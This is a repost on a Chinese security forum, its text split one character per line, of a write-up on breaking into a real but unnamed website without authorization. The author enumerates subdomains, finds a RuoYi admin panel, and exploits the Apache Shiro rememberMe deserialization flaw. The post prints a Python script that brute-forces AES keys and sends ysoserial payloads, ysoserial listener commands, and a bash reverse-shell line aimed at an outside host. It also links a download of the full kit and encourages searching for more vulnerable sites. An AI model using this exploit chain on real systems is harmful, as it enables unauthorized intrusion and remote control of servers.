论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
渗透测试
[26636] 2020-07-20_记录渗透某站成功拿到shell
文档创建者：
s7ckTeam
浏览次数：
0
最后更新：
2025-01-19
渗透测试
0 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2020-07-20_记录渗透某站成功拿到shell
记
录
渗
透
某
站
成
功
拿
到
s
h
e
l
l
原
创
月
月
的
嗅
弟
弟
m
o
o
n
s
e
c
2
0
2
0
-
0
7
-
2
0
注
：
此
文
在
土
司
发
过
一
次
作
者
已
授
权
微
信
搜
一
搜
微
信
搜
一
搜
m
o
o
n
s
e
c
记
录
渗
透
某
站
成
功
拿
到
s
h
e
l
l
1
前
言
前
言
这
几
个
月
忙
项
目
去
了
，
回
来
发
现
号
变
僵
尸
号
了
Q
A
Q
，
这
里
记
录
一
次
对
某
站
的
渗
透
，
过
程
比
较
曲
折
，
最
终
成
功
反
弹
s
h
e
l
l
~
2
主
站
主
站
w
w
w
.
x
x
x
.
c
o
m
在
I
P
1
3
8
.
c
o
m
网
进
行
子
域
名
搜
索
子
域
名
收
集
在
i
p
1
3
8
.
c
o
m
只
搜
到
两
个
子
域
名
，
且
其
中
一
个
关
闭
了
，
遂
上
脚
本
跑
字
典
，
爆
出
下
列
域
名
域
名
解
析
I
P
开
放
端
口
W
E
B
服
务
器
网
站
状
态
v
.
x
x
x
.
c
o
m
1
1
7
.
x
x
.
x
x
.
5
0
8
0
,
4
4
3
A
p
a
c
h
e
8
0
:
正
常
访
问
w
w
w
.
x
x
x
.
c
o
m
4
7
.
x
x
.
x
x
.
5
3
8
0
,
4
4
3
A
p
a
c
h
e
8
0
:
正
常
访
问
t
e
s
t
.
x
x
x
.
c
o
m
4
7
.
x
x
.
x
x
e
r
.
1
7
7
8
0
,
4
4
3
A
p
a
c
h
e
8
0
:
(
4
0
4
)
未
找
到
m
a
i
l
.
x
x
x
.
c
o
m
1
1
7
.
x
x
.
x
x
.
4
6
8
0
,
4
4
3
M
i
c
r
o
s
o
f
t
-
I
I
S
/
7
.
5
8
0
:
(
4
4
0
)
L
o
g
i
n
T
i
m
e
o
u
t
a
d
m
i
n
.
x
x
x
.
c
o
m
1
1
7
.
x
x
.
x
x
.
4
5
-
端
口
未
开
放
端
口
未
开
放
f
t
p
.
x
x
x
.
c
o
m
1
1
7
.
x
x
.
x
x
.
3
7
-
端
口
未
开
放
端
口
未
开
放
p
o
o
l
.
x
x
x
.
c
o
m
1
1
7
.
x
x
.
x
x
.
4
5
-
端
口
未
开
放
端
口
未
开
放
m
a
i
l
g
w
.
x
x
x
.
c
o
m
1
1
7
.
x
x
.
x
x
.
5
2
-
端
口
未
开
放
端
口
未
开
放
j
w
t
a
c
t
i
v
e
.
x
x
x
.
c
o
m
3
9
.
x
x
.
x
x
.
2
3
3
8
0
,
4
4
3
n
g
i
n
x
/
1
.
1
5
.
1
0
8
0
:
正
常
访
问
分
析
经
访
问
得
到
1
1
7
.
x
x
.
x
x
.
4
5
为
o
u
t
l
o
o
k
w
e
b
登
录
页
面
j
w
t
a
c
t
i
v
e
.
x
x
x
.
c
o
m
为
某
系
统
后
台
登
陆
界
面
二
个
入
口
，
二
选
一
，
肯
定
上
第
二
个
！
这
种
界
面
从
第
一
眼
其
实
可
以
判
断
出
用
的
应
该
是
某
个
模
板
，
去
试
了
下
c
m
s
识
别
没
有
识
别
出
来
，
到
这
可
能
有
些
老
哥
就
想
试
试
爆
破
了
，
其
实
可
以
看
看
前
端
源
码
，
说
不
定
能
爆
出
啥
来
，
f
1
2
一
看
，
嘿
嘿
，
果
然
有
从
前
端
代
码
能
看
出
为
若
依
框
架
，
直
接
百
度
看
看
是
个
啥
这
就
很
有
意
思
了
，
人
家
官
网
直
接
进
去
就
提
示
，
说
明
这
个
漏
洞
影
响
很
大
，
看
看
是
啥
漏
洞
，
如
果
能
用
那
得
省
很
多
事
霍
霍
，
这
个
A
p
a
c
h
e
s
h
i
r
o
好
像
已
经
出
了
很
久
，
根
据
前
端
源
码
是
能
看
出
版
本
为
3
.
4
.
0
，
所
以
存
在
该
漏
洞
的
o
k
，
找
到
方
向
直
接
开
干
，
先
找
一
篇
相
关
漏
洞
的
帖
子
这
里
推
荐
h
t
t
p
s
:
/
/
z
h
u
a
n
l
a
n
.
z
h
i
h
u
.
c
o
m
/
p
/
9
6
6
4
5
7
9
7
这
一
篇
写
的
很
详
细
，
工
具
要
求
里
面
都
有
3
过
程
过
程
根
据
d
a
l
a
o
的
帖
子
优
化
了
脚
本
，
顺
便
收
集
了
网
上
的
k
e
y
，
再
遇
到
此
漏
洞
就
可
以
直
接
跑
脚
本
了
，
不
需
要
自
己
改
包
了
，
果
然
是
懒
推
动
了
自
动
化
哈
哈
哈
下
面
贴
出
脚
本
核
心
代
码
i
m
p
o
r
t
b
a
s
e
6
4
i
m
p
o
r
t
u
u
i
d
i
m
p
o
r
t
s
u
b
p
r
o
c
e
s
s
f
r
o
m
C
r
y
p
t
o
.
C
i
p
h
e
r
i
m
p
o
r
t
A
E
S
i
m
p
o
r
t
r
e
q
u
e
s
t
s
i
m
p
o
r
t
c
o
n
f
i
g
r
e
q
u
e
s
t
s
.
p
a
c
k
a
g
e
s
.
u
r
l
l
i
b
3
.
d
i
s
a
b
l
e
_
w
a
r
n
i
n
g
s
(
)
d
e
f
e
n
c
o
d
e
_
r
e
m
e
m
b
e
r
m
e
(
c
o
m
m
a
n
d
,
k
e
y
)
:
p
o
p
e
n
=
s
u
b
p
r
o
c
e
s
s
.
P
o
p
e
n
(
[
'
j
a
v
a
'
,
'
-
j
a
r
'
,
'
y
s
o
s
e
r
i
a
l
.
j
a
r
'
,
'
J
R
M
P
C
l
i
e
n
t
'
,
c
o
m
m
a
n
d
]
,
s
t
d
o
u
t
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
)
B
S
=
A
E
S
.
b
l
o
c
k
_
s
i
z
e
p
a
d
=
l
a
m
b
d
a
s
:
s
+
(
(
B
S
-
l
e
n
(
s
)
%
B
S
)
*
c
h
r
(
B
S
-
l
e
n
(
s
)
%
B
S
)
)
.
e
n
c
o
d
e
(
)
m
o
d
e
=
A
E
S
.
M
O
D
E
_
C
B
C
i
v
=
u
u
i
d
.
u
u
i
d
4
(
)
.
b
y
t
e
s
e
n
c
r
y
p
t
o
r
=
A
E
S
.
n
e
w
(
b
a
s
e
6
4
.
b
6
4
d
e
c
o
d
e
(
k
e
y
)
,
m
o
d
e
,
i
v
)
f
i
l
e
_
b
o
d
y
=
p
a
d
(
p
o
p
e
n
.
s
t
d
o
u
t
.
r
e
a
d
(
)
)
b
a
s
e
6
4
_
c
i
p
h
e
r
t
e
x
t
=
b
a
s
e
6
4
.
b
6
4
e
n
c
o
d
e
(
i
v
+
e
n
c
r
y
p
t
o
r
.
e
n
c
r
y
p
t
(
f
i
l
e
_
b
o
d
y
)
)
r
e
t
u
r
n
b
a
s
e
6
4
_
c
i
p
h
e
r
t
e
x
t
d
e
f
g
e
t
_
h
t
m
l
(
u
r
l
)
:
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
6
.
1
;
W
i
n
6
4
;
x
6
4
;
r
v
:
7
7
.
0
)
G
e
c
k
o
/
2
0
1
0
0
1
0
1
F
i
r
e
f
o
x
/
7
7
.
0
'
,
'
A
c
c
e
p
t
'
:
'
t
e
x
t
/
h
t
m
l
,
a
p
p
l
i
c
a
t
i
o
n
/
x
h
t
m
l
+
x
m
l
,
a
p
p
l
i
c
a
t
i
o
n
/
x
m
l
;
q
=
0
.
9
,
i
m
a
g
e
/
w
e
b
p
,
*
/
*
;
q
=
0
.
8
'
,
'
A
c
c
e
p
t
-
L
a
n
g
u
a
g
e
'
:
'
z
h
-
C
N
,
z
h
;
q
=
0
.
8
,
z
h
-
T
W
;
q
=
0
.
7
,
z
h
-
H
K
;
q
=
0
.
5
,
e
n
-
U
S
;
q
=
0
.
3
,
e
n
;
q
=
0
.
2
'
,
'
A
c
c
e
p
t
-
E
n
c
o
d
i
n
g
'
:
'
g
z
i
p
,
d
e
f
l
a
t
e
'
,
'
C
o
n
n
e
c
t
i
o
n
'
:
'
k
e
e
p
-
a
l
i
v
e
'
,
'
U
p
g
r
a
d
e
-
I
n
s
e
c
u
r
e
-
R
e
q
u
e
s
t
s
'
:
'
1
'
}
w
i
t
h
o
p
e
n
(
'
.
/
k
e
y
.
t
x
t
'
,
'
r
'
)
a
s
f
:
l
i
s
t
_
k
e
y
=
f
.
r
e
a
d
l
i
n
e
s
(
)
f
.
c
l
o
s
e
(
)
f
o
r
k
e
y
i
n
l
i
s
t
_
k
e
y
:
k
e
y
=
k
e
y
.
s
t
r
i
p
(
'
n
'
)
t
r
y
:
r
e
m
e
m
b
e
r
m
e
=
e
n
c
o
d
e
_
r
e
m
e
m
b
e
r
m
e
(
c
o
n
f
i
g
.
c
o
m
m
a
n
d
,
k
e
y
)
e
x
c
e
p
t
:
p
r
i
n
t
(
'
该
k
e
y
有
问
题
{
}
'
.
f
o
r
m
a
t
(
k
e
y
)
)
c
o
n
t
i
n
u
e
p
a
y
l
o
a
d
=
(
"
r
e
m
e
m
b
e
r
M
e
=
{
}
"
.
f
o
r
m
a
t
(
r
e
m
e
m
b
e
r
m
e
.
d
e
c
o
d
e
(
)
)
)
#
p
r
i
n
t
(
'
发
送
p
y
a
l
o
a
d
'
+
p
a
y
l
o
a
d
)
h
e
a
d
e
r
s
[
'
C
o
o
k
i
e
'
]
=
p
a
y
l
o
a
d
r
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
,
p
r
o
x
i
e
s
=
c
o
n
f
i
g
.
p
r
o
x
i
e
s
,
v
e
r
i
f
y
=
F
a
l
s
e
)
i
f
'
r
e
m
e
m
b
e
r
M
e
=
d
e
l
e
t
e
M
e
'
n
o
t
i
n
r
.
h
e
a
d
e
r
s
[
'
S
e
t
-
C
o
o
k
i
e
'
]
:
p
r
i
n
t
(
'
'
)
具
体
套
件
和
使
用
方
法
将
在
文
末
打
包
发
出
来
3
.
1
.
配
置
公
网
环
境
配
置
公
网
环
境
j
a
v
a
j
d
k
版
本
>
=
1
.
7
y
s
o
s
e
r
i
a
l
.
j
a
r
版
本
为
0
.
0
.
5
n
c
反
弹
s
h
e
l
l
3
.
2
.
监
听
端
口
监
听
端
口
把
y
s
o
s
e
r
i
a
l
.
j
a
r
文
件
上
传
到
当
前
目
录
把
要
执
行
的
命
令
进
行
加
密
后
监
听
端
口
，
这
里
用
b
a
s
h
反
弹
命
令
j
a
v
a
-
c
p
y
s
o
s
e
r
i
a
l
.
j
a
r
y
s
o
s
e
r
i
a
l
.
e
x
p
l
o
i
t
.
J
R
M
P
L
i
s
t
e
n
e
r
6
6
6
6
C
o
m
m
o
n
s
C
o
l
l
e
c
t
i
o
n
s
4
'
加
密
后
的
指
令
'
j
a
v
a
监
听
的
为
6
6
6
6
端
口
n
c
监
听
b
a
s
h
命
令
端
口
3
.
3
.
运
行
脚
本
运
行
脚
本
进
入
c
o
n
f
i
g
.
p
y
里
修
改
配
置
（
如
下
）
#
接
收
服
务
器
i
p
:
端
口
c
o
m
m
a
n
d
=
'
公
网
i
p
:
6
6
6
6
'
#
目
标
u
r
l
p
r
i
n
t
(
'
'
)
w
i
t
h
o
p
e
n
(
"
.
/
p
a
y
l
o
a
d
.
t
x
t
"
,
"
a
"
,
e
n
c
o
d
i
n
g
=
'
u
t
f
-
8
'
)
a
s
f
p
w
:
f
p
w
.
w
r
i
t
e
(
'
%
s
%
s
%
s
n
'
%
(
u
r
l
,
k
e
y
,
p
a
y
l
o
a
d
)
)
e
l
s
e
:
p
r
i
n
t
(
'
e
x
p
已
发
送
'
)
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
g
e
t
_
h
t
m
l
(
c
o
n
f
i
g
.
u
r
l
)
u
r
l
=
'
h
t
t
p
:
/
/
j
w
t
a
c
t
i
v
e
.
x
x
x
.
c
o
m
/
l
o
g
i
n
'
#
代
理
p
r
o
x
i
e
s
=
{
"
h
t
t
p
"
:
"
h
t
t
p
:
/
/
1
2
7
.
0
.
0
.
1
:
8
8
8
8
"
,
"
h
t
t
p
s
"
:
"
h
t
t
p
s
:
/
/
1
2
7
.
0
.
0
.
1
:
8
8
8
8
"
}
运
行
e
x
p
.
p
y
运
行
成
功
！
j
a
v
a
监
听
端
口
收
到
,
但
是
这
时
候
出
了
一
个
问
题
，
n
c
没
回
显
很
纳
闷
，
难
道
是
c
c
链
的
原
因
，
从
2
到
7
都
试
了
一
遍
，
结
果
都
一
样
，
j
a
v
a
监
听
端
口
有
返
回
，
n
c
一
直
没
反
应
只
能
仔
细
回
顾
流
程
重
新
走
一
遍
看
有
啥
错
误
，
试
了
n
遍
结
果
都
一
样
。
裤
子
都
脱
光
了
，
结
果
就
这
？
差
点
心
态
崩
了
后
来
想
了
想
j
a
v
a
端
口
有
回
显
，
应
该
不
是
脚
本
和
文
件
的
问
题
，
n
c
回
显
是
通
过
那
条
b
a
s
h
命
令
，
然
后
就
换
了
条
b
a
s
h
命
令
/
b
i
n
/
b
a
s
h
-
i
>
/
d
e
v
/
t
c
p
/
x
x
x
x
/
6
6
6
0
<
&
1
2
>
&
1
重
新
加
密
后
再
来
一
遍
！
结
果
还
是
一
样
。
。
。
就
像
个
战
神
一
样
一
动
也
不
动
，
怎
么
调
情
都
不
出
来
后
来
转
念
一
下
，
会
不
会
还
是
c
c
链
的
问
题
，
又
开
始
从
2
到
7
试
一
遍
，
到
试
到
5
的
时
候
目
无
表
情
的
看
着
，
j
a
v
a
监
听
端
口
依
旧
正
常
，
不
太
报
希
望
的
时
候
默
默
点
开
n
c
哦
豁
！
行
起
来
了
，
终
于
进
去
了
！
s
h
e
l
l
下
命
令
，
能
正
常
返
回
，
哦
~
,
终
于
爽
了
到
此
为
止
，
慢
慢
进
入
了
贤
者
模
式
，
一
切
都
是
那
么
枯
燥
。
。
。
哈
哈
，
不
开
玩
笑
了
，
因
为
没
有
授
权
，
到
此
就
不
再
继
续
了
4
总
结
总
结
前
期
的
信
息
收
集
依
然
是
非
常
关
键
，
找
到
后
台
没
有
识
别
出
是
什
么
c
m
s
也
不
用
急
于
去
爆
破
，
可
以
通
过
前
端
的
j
s
，
u
i
等
等
来
判
断
找
到
c
m
s
后
可
以
进
官
方
的
版
本
更
新
记
录
，
基
本
上
都
会
列
出
修
复
过
什
么
漏
洞
，
那
些
使
用
开
源
的
建
站
系
统
一
定
要
有
经
常
更
新
的
习
惯
，
开
源
的
漏
洞
永
远
补
不
完
哟
。
。
。
关
于
A
p
a
c
h
e
_
S
h
i
r
o
这
个
漏
洞
已
经
爆
出
很
久
了
，
不
过
还
存
在
此
漏
洞
的
网
站
依
然
很
多
，
通
过
f
o
f
a
搜
关
键
字
r
u
o
y
i
，
啧
啧
啧
，
那
多
的
，
我
就
不
说
了
，
老
哥
们
懂
的
5
下
载
下
载
链
接
：
h
t
t
p
s
:
/
/
p
a
n
.
b
a
i
d
u
.
c
o
m
/
s
/
1
Y
B
3
K
A
g
w
1
u
i
Y
l
d
1
7
D
s
1
r
s
X
g
提
取
码
：
l
4
w
2
解
压
码
m
o
o
n
s
e
c
附
图
如
果
你
觉
得
文
章
还
不
错
，
就
请
点
击
右
上
角
选
择
发
送
给
朋
友
或
者
转
发
到
朋
友
圈
。
您
的
支
持
和
鼓
励
是
我
们
最
大
的
动
力
。
喜
欢
就
请
关
注
我
们
吧
~
长
按
二
维
码
关
注
我
们
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
渗透测试